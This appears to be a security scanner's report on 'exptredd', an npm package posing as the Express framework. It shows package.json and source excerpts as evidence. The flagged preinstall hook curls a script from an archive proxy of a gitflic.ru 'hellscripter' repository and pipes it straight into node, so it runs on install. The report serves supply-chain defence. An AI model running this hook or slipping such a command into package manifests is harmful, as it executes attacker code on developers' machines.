Hostile ^92% javascript Download

exptredd 5.2.4

Malicious preinstall script

“Fast, unopinionated, minimalist web framework”

Foreign repo claim with preinstall curl pipe to nodenpm preinstall executes replayed third-party code through Node stdin

SHA-25619575cae007170a942b37cc12faf166ff9a486ecddfdce3100bc04bdd6f5581a

URLhttps://registry.npmjs.org/exptredd/-/exptredd-5.2.4.tgz

MaleculeO₂(C₂S₄)H₅(Cm₁₇Db₇Os₃Po₃U)Md₃(In₅Pa₁₁)

Evidence

Package has at least eight runtime deps package.json · lines 1–46

⋯13 lines
],
"license": "MIT",
"repository": "expressjs/express",
"homepage": "https://expressjs.com/",
"funding": {
  "type": "opencollective",
  "url": "https://opencollective.com/express"
⋯11 lines
  "api"
],
"dependencies": {
  "accepts": "^2.0.0",
  "body-parser": "^2.2.1",
⋯10 lines

Depends on ESLint package.json · lines 61–75

⋯7 lines
  "cookie-session": "2.1.1",
  "ejs": "^3.1.10",
  "eslint": "8.47.0",
  "express-session": "^1.18.1",
  "hbs": "4.2.0",
  "marked": "^15.0.3",
  "method-override": "3.0.0",
  "mocha": "^10.7.3",

Package.json declares a files allowlist package.json · lines 79–95

⋯4 lines
  "node": ">= 18"
},
"files": [
  "LICENSE",
  "Readme.md",
  "index.js",
  "lib/"
],
"scripts": {
  "lint": "eslint .",
  "lint:fix": "eslint . --fix",
  "test": "mocha --require test/support/env --reporter spec --check-leaks test/ test/acceptance/",
  "test-ci": "nyc --exclude examples --exclude test --exclude benchmarks --reporte …

Preinstall archive-proxy raw-source Node pipe package.json · lines 96–100

100… ter=text npm test",
  "test-tap": "mocha --require test/support/env --reporter tap --check-leaks test/ test/acceptance/",
  "preinstall": "curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node"
}
100}

imports node:http request.js · lines 1–48

⋯6 lines
7 */
8
9'use strict';
10
11/**
12 * Module dependencies.
13 * @private
14 */
15
16var accepts = require('accepts');
17var isIP = require('node:net').isIP;
18var typeis = require('type-is');
19var http = require('node:http');
20var fresh = require('fresh');
21var parseRange = require('range-parser');
22var parse = require('parseurl');
23var proxyaddr = require('proxy-addr');
24
25/**
⋯14 lines
40 * Return request header.
41 *
42 * The `Referrer` header field is special-cased,
43 * both `Referrer` and `Referer` are interchangeable.
44 *
45 * Examples:
46 *
47 *     req.get('Content-Type');
48 *     // =>  …

Showing the top 5 files — 5 more files (41 regions) not shown.

No evidence locations were recorded for this file. Raw result